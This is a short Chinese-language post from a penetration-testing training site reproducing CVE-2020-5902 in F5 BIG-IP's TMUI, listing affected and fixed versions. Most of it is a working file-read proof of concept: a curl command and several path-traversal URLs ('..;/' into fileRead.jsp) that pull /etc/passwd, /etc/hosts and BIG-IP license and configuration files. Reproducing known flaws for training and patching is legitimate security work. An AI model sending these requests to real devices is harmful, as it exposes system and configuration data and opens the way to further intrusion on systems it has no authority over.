CVE-2020-5902BIG-IP漏洞复现

小迪渗透吧-提供最专业的渗透测试培训,web安全培训,网络安全培训,代码审计培训,安全服务培训,CTF比赛培训,SRC平台挖掘培训,红蓝对抗培训！•2020-07-06•安全文档• 2364• 0•A⁺ A^-

CVE-2020-5902 BIG-IP漏洞复现

https://www.bilibili.com/video/BV1vz411v7QA

简介

BIG-IP的TMUI存在RCE漏洞

影响范围

版本号主要如下
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x

修复方法

升级
11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4

文件读取poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

文章关键词: 教程; 手册; 笔记

发表评论